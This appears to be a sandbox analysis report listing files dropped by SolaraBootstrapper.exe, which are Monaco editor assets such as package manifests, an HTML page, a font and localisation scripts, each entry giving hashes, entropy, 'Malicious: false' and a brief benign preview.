SSDEEP:	384:9VbqQ3uaG5ur6UDR5Gf3QB78K/wR8Cv8mCHL2mW:9QQUurhdUaO8CveXW
MD5:	4759F0455068A7A159E6FEEC8C94B26F
SHA1:	D510F8CE05A9319461B86EF28A9BC998ACF067D3
SHA-256:	E565D94B8DBAAE58AE5C964D797A0870E0AF79FC1A6E13385E568AEEB29E3EF8
SHA-512:	663C9D3313889C3A3AAC2044B3321D235E29169E782B36276ADED4799F19BCC3EB53FA077205A4C96D60844A66A124B70226C9242D912B24938BAA7762EE9264
Malicious:	false
Preview:	{. "name": "fileaccess",. "lockfileVersion": 3,. "requires": true,. "packages": {. "": {. "dependencies": {. "express": "^4.19.2". }. },. "node_modules/accepts": {. "version": "1.3.8",. "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz",. "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==",. "dependencies": {. "mime-types": "~2.1.34",. "negotiator": "0.6.3". },. "engines": {. "node": ">= 0.6". }. },. "node_modules/array-flatten": {. "version": "1.1.1",. "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz",. "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==". },. "node_modules/body-parser": {. "version": "1.20.2",. "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.2.tgz",. "inte

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	53
Entropy (8bit):	3.9429514180702228
Encrypted:	false
SSDEEP:	3:zVQWNwFiXQWAfYYMCn:zVC4gW6YYMC
MD5:	B9F2CA8A50D6D71642DD920C76A851E5
SHA1:	8CA43E514F808364D0EB51E7A595E309A77FDFCE
SHA-256:	F44555AF79DFA01A68AE8325382293FC68CD6C61D1D4EB9B8F7A42C651C51CDE
SHA-512:	81B6352BBABD0BFFBC50BFCD0CD67DC3C2A7D63BDA0BF12421410C0EC8047AF549A4928B5C5C3E89EAD99AA9240BDDB461C618C49287C15D9D4D3A899E8F596A
Malicious:	false
Preview:	{. "dependencies": {. "express": "^4.19.2". }.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\index.html

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	HTML document, ASCII text, with very long lines (994), with CRLF line terminators
Category:	dropped
Size (bytes):	20598
Entropy (8bit):	5.215242185998818
Encrypted:	false
SSDEEP:	384:FihTARA5LmClk2P5VvW4NGthbVBJjEBh+BILnoamLR7:FihTnlf+lthbVBJegyboamLR7
MD5:	7ED00E10FF463CC9AFD05D41FC77AC06
SHA1:	66E162BDBF6DF1E1D5B994B8DB39FA67AB080783
SHA-256:	808F2C68960E6E521975C8C8EFAA90A4053CFB207C4042687EA7AFDD091543EE
SHA-512:	4B598CC17654A866C758C33982E776E522F0177F3C987908A18F62385B393338582EFBCA149817DF7CEA66EB8CFAA11D566EBFCB59C88D22156F0F1F4D224285
Malicious:	false
Preview:	<!DOCTYPE html>....<html lang="en" xmlns="http://www.w3.org/1999/xhtml">....<head>...<link rel="preconnect" href="https://fonts.googleapis.com">...<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>...<link href="https://fonts.googleapis.com/css2?family=Kanit:ital,wght@0,100;0,200;0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,100;1,200;1,300;1,400;1,500;1,600;1,700;1,800;1,900&display=swap" rel="stylesheet">...<style type="text/css">....html,....body {.....width: 100%;.....height: 100%;.....margin: 0;.....padding: 0;.....overflow: hidden;.....background-color: rgb(7, 5, 8);.........}.......</style>...<style>....#tabcon {.....background-color: rgb(6, 0, 10);....}.....btn_tab {.....border: 1px solid rgb(16, 6, 29);.....background-color: rgb(7, 0, 10);.....border-radius: 2px;.....color: white;.....min-width: 100px;.....text-align: start !important;..........transition: all 0.3s;....}.......btn_tabusing {.....border: 1px solid rgb(20, 11, 32);.....background-color: rgb(7, 5,

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\base\browser\ui\codicons\codicon\codicon.ttf

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	TrueType Font data, 11 tables, 1st "GSUB", 16 names, Macintosh, type 1 string, codiconRegularcodiconcodiconVersion 1.11codiconThe icon font for Visual Studio Codehttp://fontel
Category:	dropped
Size (bytes):	77400
Entropy (8bit):	6.135011758024483
Encrypted:	false
SSDEEP:	1536:KgrM3RL0IWAUnc3sMKUdrulGAj3epKYhUwzSf0XLZKeK:KgrM3RAdZc8MKUZ6epKA5zSf0PK
MD5:	1ABA5831B7E53D5104D454A91BFFDD6F
SHA1:	9A5E3C389433ADDD5D5A393D7CC28C465219542C
SHA-256:	B3FFC1AF5867D6C901EA05F38EE12F8F8369DB4912A91D56156EE9C85BD47DC3
SHA-512:	161DD28DDD6AA1BF57614FCF46922879C45A3D2422A4A7D8D873367E5F1E6BE3CEDA3A4197CE829E3EBFF699E2E5D7705F57D54E3DECF05411EF40EBE38C6787
Malicious:	false
Preview:	...........0GSUB .%z...8...TOS/27OFi.......`cmap.kB.........glyfE..d..&4....headX..S.......6hhea.[.........$hmtx.)..........loca....."....zmaxp........... name...K...<....post..1...4...#.....,.....,.................................[.._.<....,....\|%......\|%.........-...................u...............................0.>..DFLT..latn............................liga.................................+.............*...........M............................PfEd...`.#.,.....G.........................,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,..

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\base\common\worker\simpleWorker.nls.de.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (494)
Category:	dropped
Size (bytes):	869
Entropy (8bit):	5.108454641046411
Encrypted:	false
SSDEEP:	24:hEiDHn43tgb2RsNIQRkVNYcBfPu/j8GVhmnX:h/DHn43tZRsavW/j8GVhmnX
MD5:	2CC7C26DE2C6539D92E48DF01C747212
SHA1:	2F412A8C084F7D4007F597775137ED0F6B30ACA6
SHA-256:	1EA09D107089DC1E8BC0BA408FEFCBDCBF366C697BA216F88DA49330130E0514
SHA-512:	F7D1E655AC538B8179296C4A84F56A8EB37E6B18D44ACED642F46D49377763526AF51B314BFBE36533F97A7A16585820A3B44CB86851AE131A4ADA74FD9CA139
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/define("vs/base/common/worker/simpleWorker.nls.de",{"vs/base/common/platform":["_"],"vs/editor/common/languages":["Array","Boolescher Wert","Klasse","Konstante","Konstruktor","Enumeration","Enumerationsmember","Ereignis","Feld","Datei","Funktion","Schnittstelle","Schl\xFCssel","Methode","Modul","Namespace","NULL","Zahl","Objekt","Operator","Paket","Eigenschaft","Zeichenfolge","Struktur","Typparameter","Variable","{0} ({1})"]});..//# sourceMappingURL=../../../../../min-maps/vs/base/common/worker/simpleWorker.nls.de.js.map

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\base\common\worker\simpleWorker.nls.es.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (515)
Category:	dropped
Size (bytes):	890
Entropy (8bit):	5.062413063201018
Encrypted:	false
SSDEEP:	24:hEiDHn43tgb2RsNI1RkV7GgzX4JOmxUBmnk:h/DHn43tZRsaxgzCOmcmnk
MD5:	BE65596CF447F87B15945ADEC9AB6031
SHA1:	23D8A0D0AD6F13B2CB9CD360D4E0731846242219
SHA-256:	56341C7827241A6BF388660A020B45E3F5A191B7DA46F7A9BC30FBCC61FF2EBB
SHA-512:	0B86DF2585D1A9ABCA9A7581D91A77B1FF343A9F4DB2D35CE809C6106DC78BE3A604EF8E27380C57BD82DFD2400BDB66328E96B94435DCD8089F2F4D6F92F971
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/define("vs/base/common/worker/simpleWorker.nls.es",{"vs/base/common/platform":["_"],"vs/editor/common/languages":["matriz","booleano","clase","constante","constructor","enumeraci\xF3n","miembro de la enumeraci\xF3n","evento","campo","archivo","funci\xF3n","interfaz","clave","m\xE9todo","m\xF3dulo","espacio de nombres","NULL","n\xFAmero","objeto","operador","paquete","propiedad","cadena","estructura","par\xE1metro de tipo","variable","{0} ({1})"]});..//# sourceMappingURL=../../../../../min-maps/vs/base/common/worker/simpleWorker.nls.es.js.map

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\base\common\worker\simpleWorker.nls.fr.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (529)
Category:	dropped
Size (bytes):	904
Entropy (8bit):	5.1032081550705755
Encrypted:	false
SSDEEP:	24:hEiDHn43tgb2RsNIBRkVHuYOFnb9Z8RdLmng:h/DHn43tZRsaWOFb9+RZmng
MD5:	0E0B9D2CD1250EF30F3B462AF8600C3F
SHA1:	3899FCF4CFA7250BBB0A2E943FC288D40A94BF68
SHA-256:	4A3AFC911E223F70F2FFE4FEBD392FFFFF6011607CC9752C4313E951121BC36A
SHA-512:	602747FA05C86AF14E6F11242B0FD2BEF2474CEC77F6CAD2CCA9923BAC9C0389AE5A970C86C89CB6FF83467446C13B401D529780D86425540F5B1839D2F64704
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/define("vs/base/common/worker/simpleWorker.nls.fr",{"vs/base/common/platform":["_"],"vs/editor/common/languages":["tableau","bool\xE9en","classe","constante","constructeur","\xE9num\xE9ration","membre d'\xE9num\xE9ration","\xE9v\xE9nement","champ","fichier","fonction","interface","cl\xE9","m\xE9thode","module","espace de noms","NULL","nombre","objet","op\xE9rateur","package","propri\xE9t\xE9","cha\xEEne","struct","param\xE8tre de type","variable","{0} ({1})"]});..//# sourceMappingURL=../../../../../min-maps/vs/base/common/worker/simpleWorker.nls.fr.js.map

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\base\common\worker\simpleWorker.nls.it.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (504)
Category:	dropped
Size (bytes):	879
Entropy (8bit):	4.955498314023185
Encrypted:	false
SSDEEP:	12:UYEiBFNxn43vFgbRf27Rs9vkBu60RkXlJCKmFi+TsnwvHHo3OBMcG2uQ:hEiDHn43tgb2RsNIuxRkVYD8notnuQ
MD5:	40DCEF8A9C3999FFA8B95F6F4F594F38
SHA1:	0C60A08A17B25AC85EF27B06E73F552B5F166669
SHA-256:	74886FF47CB9BA5DCB72E223887BA3FC91B19F9818AEB9CBFC64A56203F22993
SHA-512:	75349033883604DC20A0CE9EA3BDD025915971BC09DEB01D71FF4BDACE16D5CF81AFFC0BA41831D3900CE7E39EC737C6B881D6B04F34BB8AD5F9932E5234518B
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/define("vs/base/common/worker/simpleWorker.nls.it",{"vs/base/common/platform":["_"],"vs/editor/common/languages":["matrice","valore booleano","classe","costante","costruttore","enumerazione","membro di enumerazione","evento","campo","file","funzione","interfaccia","chiave","metodo","modulo","spazio dei nomi","Null","numero","oggetto","operatore","pacchetto","propriet\xE0","stringa","struct","parametro di tipo","variabile","{0} ({1})"]});..//# sourceMappingURL=../../../../../min-maps/vs/base/common/worker/simpleWorker.nls.it.js.map

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\base\common\worker\simpleWorker.nls.ja.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (892)
Category:	dropped
Size (bytes):	1267
Entropy (8bit):	5.152311411434772
Encrypted:	false
SSDEEP:	24:hEiDHn43tgb2RsNIvKRkVcJ3AiXqzCoWS2vlBD1bfItvkPbmbsPFr8mIqm7n1:h/DHn43tZRsav2J3AlGoWS2vlzbfCvku
MD5:	621F9BAECCD7C53C86593A0AB55EAC65
SHA1:	9499604D5FC342A0DD505B7C661FC3304A5CAC67
SHA-256:	04B190DB7BC19AF7DD6D28069B0A8FBB2BAEEDCDBEAD5356773444049EB2E524
SHA-512:	7F1737822AB9F2E4216A0488F40D59D48FCDFA4C709140FF16E7ACCB6A4DA3E9BFA2B18533C731E38F570A9C0F1F71C64682FAD0A6076B9DF5C15FEBB4216791
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/define("vs/base/common/worker/simpleWorker.nls.ja",{"vs/base/common/platform":["_"],"vs/editor/common/languages":["\u914D\u5217","\u30D6\u30FC\u30EB\u5024","\u30AF\u30E9\u30B9","\u5B9A\u6570","\u30B3\u30F3\u30B9\u30C8\u30E9\u30AF\u30BF\u30FC","\u5217\u6319\u578B","\u5217\u6319\u578B\u30E1\u30F3\u30D0\u30FC","\u30A4\u30D9\u30F3\u30C8","\u30D5\u30A3\u30FC\u30EB\u30C9","\u30D5\u30A1\u30A4\u30EB","\u95A2\u6570","\u30A4\u30F3\u30BF\u30FC\u30D5\u30A7\u30A4\u30B9","\u30AD\u30FC","\u30E1\u30BD\u30C3\u30C9","\u30E2\u30B8\u30E5\u30FC\u30EB","\u540D\u524D\u7A7A\u9593","NULL","\u6570\u5024","\u30AA\u30D6\u30B8\u30A7\u30AF\u30C8","\u6F14\u7B97\u5B50","\u30D1\u30

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\base\common\worker\simpleWorker.nls.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (460)
Category:	dropped
Size (bytes):	832
Entropy (8bit):	4.947854490178491
Encrypted:	false
SSDEEP:	12:UYEiBFNxn43vFgbRf27Rs9vkBq0RkXlwhXeXlhryAul948/paec5emG2g:hEiDHn43tgb2RsNIBRkVWXe3rpuISmng
MD5:	B726874AD2F46BA88F950832850542B4
SHA1:	C813DFB6185D59B00AAFE2A98C7632AE67DE6A2F
SHA-256:	A7B212E2CD848787A8AF48FC99C5CE82DEE49A8534DE42FF4833024E93CA4D19
SHA-512:	633DD4C826E485F21F81A6B57DC50810ABBD8072C58F540715207406A667DF8C7EC074CAF64CCC8E3867DD1BBC9AE8D67F3F6837B51BD6FB1FE7104A3CCA417C
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/define("vs/base/common/worker/simpleWorker.nls",{"vs/base/common/platform":["_"],"vs/editor/common/languages":["array","boolean","class","constant","constructor","enumeration","enumeration member","event","field","file","function","interface","key","method","module","namespace","null","number","object","operator","package","property","string","struct","type parameter","variable","{0} ({1})"]});..//# sourceMappingURL=../../../../../min-maps/vs/base/common/worker/simpleWorker.nls.js.map

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\base\common\worker\simpleWorker.nls.ko.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (708)
Category:	dropped
Size (bytes):	1083
Entropy (8bit):	5.2418019682548636
Encrypted:	false
SSDEEP:	24:hEiDHn43tgb2RsNITPRkV+MUFk45k/ulZKAqof7G50nO:h/DHn43tZRsaTrazYRq6KWnO
MD5:	18F7182628293BA344943946CD60581B
SHA1:	2661B387ADDBF8FAA2AF333F303CC4940AB4B9C0
SHA-256:	377F5295DF6A60B920589743362FA6400E1EC8825BCD0A11D19FE873D6AAEF98
SHA-512:	CFDDB18DA41643B6ED3EC22208CEC3D8CC451302BF23E5224B6C9B3F40F4F6E3B03BDC8969CF7AD9D1DCF53175AE4D8E2040472DC28A0F851D845BDB6ABAC329
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/define("vs/base/common/worker/simpleWorker.nls.ko",{"vs/base/common/platform":["_"],"vs/editor/common/languages":["\uBC30\uC5F4","\uBD80\uC6B8","\uD074\uB798\uC2A4","\uC0C1\uC218","\uC0DD\uC131\uC790","\uC5F4\uAC70\uD615","\uC5F4\uAC70\uD615 \uBA64\uBC84","\uC774\uBCA4\uD2B8","\uD544\uB4DC","\uD30C\uC77C","\uD568\uC218","\uC778\uD130\uD398\uC774\uC2A4","\uD0A4","\uBA54\uC11C\uB4DC","\uBAA8\uB4C8","\uB124\uC784\uC2A4\uD398\uC774\uC2A4","Null","\uC22B\uC790","\uAC1C\uCCB4","\uC5F0\uC0B0\uC790","\uD328\uD0A4\uC9C0","\uC18D\uC131","\uBB38\uC790\uC5F4","\uAD6C\uC870\uCCB4","\uD615\uC2DD \uB9E4\uAC1C \uBCC0\uC218","\uBCC0\uC218","{0}({1})"]});..//# source

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\base\common\worker\simpleWorker.nls.ru.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (1544)
Category:	dropped
Size (bytes):	1919
Entropy (8bit):	4.476836409761143
Encrypted:	false
SSDEEP:	48:h/DHn43tZRsa2566RQNT4ZQkQMoyXZQMo9UraDM9YrQR/yqQnQLXSHpQmQcdQHQA:h/DHnYRsa2GMnvZU8/DaAuJzSMuT9XnJ
MD5:	771D91548299FD6A6276E4F7B53E3644
SHA1:	88609ED1327F9A196489FD6325F64C2ECACDF427
SHA-256:	715D1A916BB311FFB62B9114B186D86214C70CE8720589D894859102D002FB37
SHA-512:	200E78A5864A4DD91144E3F0DCD2B118BBC7ABB344A87A6D704D427A51122C2D062026C13DB2B02BD5B5BE4CCAD1DB8AD5B79C2969B236A68BA48F0D65CB45D3
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/define("vs/base/common/worker/simpleWorker.nls.ru",{"vs/base/common/platform":["_"],"vs/editor/common/languages":["\u043C\u0430\u0441\u0441\u0438\u0432","\u043B\u043E\u0433\u0438\u0447\u0435\u0441\u043A\u043E\u0435 \u0437\u043D\u0430\u0447\u0435\u043D\u0438\u0435","\u043A\u043B\u0430\u0441\u0441","\u043A\u043E\u043D\u0441\u0442\u0430\u043D\u0442\u0430","\u043A\u043E\u043D\u0441\u0442\u0440\u0443\u043A\u0442\u043E\u0440","\u043F\u0435\u0440\u0435\u0447\u0438\u0441\u043B\u0435\u043D\u0438\u0435","\u044D\u043B\u0435\u043C\u0435\u043D\u0442 \u043F\u0435\u0440\u0435\u0447\u0438\u0441\u043B\u0435\u043D\u0438\u044F","\u0441\u043E\u0431\u044B\u0442\u0438\u0

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\base\common\worker\simpleWorker.nls.zh-cn.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (625)
Category:	dropped
Size (bytes):	1003
Entropy (8bit):	5.2841309877158515
Encrypted:	false
SSDEEP:	24:hEiDHn43tgb2RsNIPRkVV+obSO9LlO2UTt0fnK:h/DHn43tZRsa/oGO9LlO2wsnK
MD5:	303BB444DA372ADFD2F00711E2F8AF5E
SHA1:	031D648CB39C521E9C314CABF6FED9B4BBFAD5EB
SHA-256:	CECE19CA9DB35EB58973A81EC27FC9866759920C2BA789ADA2887A94400F4DE5
SHA-512:	85B672818A2F3D5F7E4A6C996A683710E8BF5470CC0E28886441FE072B5A5933A1339A588346A99A46C9827F494E801CF52A130A25522BA08E97773614A0A5A9
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/define("vs/base/common/worker/simpleWorker.nls.zh-cn",{"vs/base/common/platform":["_"],"vs/editor/common/languages":["\u6570\u7EC4","\u5E03\u5C14\u503C","\u7C7B","\u5E38\u6570","\u6784\u9020\u51FD\u6570","\u679A\u4E3E","\u679A\u4E3E\u6210\u5458","\u4E8B\u4EF6","\u5B57\u6BB5","\u6587\u4EF6","\u51FD\u6570","\u63A5\u53E3","\u952E","\u65B9\u6CD5","\u6A21\u5757","\u547D\u540D\u7A7A\u95F4","Null","\u6570\u5B57","\u5BF9\u8C61","\u8FD0\u7B97\u7B26","\u5305","\u5C5E\u6027","\u5B57\u7B26\u4E32","\u7ED3\u6784","\u7C7B\u578B\u53C2\u6570","\u53D8\u91CF","{0} ({1})"]});..//# sourceMappingURL=../../../../../min-maps/vs/base/common/worker/simpleWorker.nls.zh-cn.js.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\base\common\worker\simpleWorker.nls.zh-tw.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (643)
Category:	dropped
Size (bytes):	1021
Entropy (8bit):	5.294811824997682
Encrypted:	false
SSDEEP:	24:hEiDHn43tgb2RsNITRkVOdteAIaIE9OAksxgOSO95HyDn6V:h/DHn43tZRsaRdtLH9OXsKOSO95HIn+
MD5:	441B351A58033DF07839A56FE88CB3F4
SHA1:	3DCC6C0BEBD5F503FDD0B856E20E51F3F1A1C151
SHA-256:	6D06A8DE18319120F905B26E564DDA2E2B464359CF565B8BB13154EDC9A30D7E
SHA-512:	624DDEE33681F4A3476B1F19DDCF675B1344A9DE87F2A7442CFAA5CCFB1D8B050BFF7D76442A6CF5C0B5502EE1730F2F8B27BDDB35FC3BFFD19A7191AE5726F5
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/define("vs/base/common/worker/simpleWorker.nls.zh-tw",{"vs/base/common/platform":["_"],"vs/editor/common/languages":["\u9663\u5217","\u5E03\u6797\u503C","\u985E\u5225","\u5E38\u6578","\u5EFA\u69CB\u51FD\u5F0F","\u5217\u8209","\u5217\u8209\u6210\u54E1","\u4E8B\u4EF6","\u6B04\u4F4D","\u6A94\u6848","\u51FD\u5F0F","\u4ECB\u9762","\u7D22\u5F15\u9375","\u65B9\u6CD5","\u6A21\u7D44","\u547D\u540D\u7A7A\u9593","null","\u6578\u5B57","\u7269\u4EF6","\u904B\u7B97\u5B50","\u5957\u4EF6","\u5C6C\u6027","\u5B57\u4E32","\u7D50\u69CB","\u578B\u5225\u53C3\u6578","\u8B8A\u6578","{0} ({1})"]});..//# sourceMappingURL=../../../../../min-maps/vs/base/common/worker/simpleWo

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\base\worker\workerMain.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (16336)
Category:	dropped
Size (bytes):	339604
Entropy (8bit):	5.6482831737137555
Encrypted:	false
SSDEEP:	6144:YD1ao/Ewqw8DWG79ynJiqWa6Amja8zgMAQ3GeS:YD1t//qWG79giqWa8ja8zgMA/eS
MD5:	F536916BB8C69485A43D531D4AEE4B2F
SHA1:	4BBF51AC452E609E283FFDB0AA69843232E519E9
SHA-256:	D3ACD18994F2571C2511314D049689D1B2D649BA667EE1F7291EB0750C08494F
SHA-512:	4A3C473ED88B5C91EA041C39FA6B60BE21A061288FB7341548F4C81A193EF1CA8E52D0149BCD0BC6AE9A7439E1A178D6390D06569513736F82F8FB94D6F48B7C
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/(function(){var J=["require","exports","vs/editor/common/core/range","vs/editor/common/core/offsetRange","vs/editor/common/core/position","vs/base/common/errors","vs/base/common/strings","vs/base/common/arrays","vs/editor/common/diff/defaultLinesDiffComputer/algorithms/diffAlgorithm","vs/base/common/event","vs/editor/common/core/lineRange","vs/base/common/arraysFind","vs/base/common/assert","vs/base/common/lifecycle","vs/base/common/objects","vs/editor/common/diff/defaultLinesDiffComputer/utils","vs/editor/common/diff/rangeMapping","vs/base/common/platform","vs/base/common/uri","vs/nls","vs/base/common/functional","vs/base/common/iterator","vs/base/

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\abap\abap.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (14485)
Category:	dropped
Size (bytes):	14986
Entropy (8bit):	4.6391299681112
Encrypted:	false
SSDEEP:	384:GtbFlAVJmdZoL+v0gbDzhckKq9CNWrgfiJ6an:yg/mduY3hcFTNWrgf5an
MD5:	450CEBD6D2B253EA040A441F860CE09E
SHA1:	809FCD6A391CB39EE4B7E45BBA440581D3544E54
SHA-256:	69A2E9C84833412F35627B2681259FAFB5602632C86A002BD819592D5280EC3B
SHA-512:	6A66709479E46566103E5A78E926EA08A7AA60EA845A28DB6D8F97056E54E8D0E988F2EA3C0A81CFDA730A38C011627243C8EF3112238B7434B02E2574473415
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/abap/abap", ["require","require"],(require)=>{.var moduleExports=(()=>{var s=Object.defineProperty;var o=Object.getOwnPropertyDescriptor;var r=Object.getOwnPropertyNames;var c=Object.prototype.hasOwnProperty;var l=(t,e)=>{for(var i in e)s(t,i,{get:e[i],enumerable:!0})},d=(t,e,i,a)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of r(e))!c.call(t,n)&&n!==i&&s(t,n,{get:()=>e[n],enumerable:!(a=o(e,n))\|\|a.enumerable});return t};var p=t=>d(s({},"__esModule",{value:!0}),t);var g={};l(g,{conf:()=>m,language:()=>u});var m={comments:{lineComment:"*"},brackets:[["["

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\apex\apex.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (4274)
Category:	dropped
Size (bytes):	4775
Entropy (8bit):	5.296288322565082
Encrypted:	false
SSDEEP:	96:pQFDHnYRs8hHV//sax+rbV1+/0V1+/mQGkIlIGEuIBV/1cHhb6z7RlwGcXRqp:G9Y3hqA+rTx1KIlIhuABuHs9liXS
MD5:	30C9B6D5E98544EC4C16251577BDED1A
SHA1:	FA08CF3ADEE30BC6C9A6E41355CD37892DE516F8
SHA-256:	E24FD69A21C6193F82FA3194FD3E2902308B1624150124973EF38C98CF0E5397
SHA-512:	ADF050739EE9AA2A0F26EA4CB0DC1754FF7EABF57992F4F6A73D59B878C66DBC821DEA23F589375CDC8BBCDF2F34EEE4BA28BC5C2B1C4EF82A78077B17005A7B
Malicious:	false
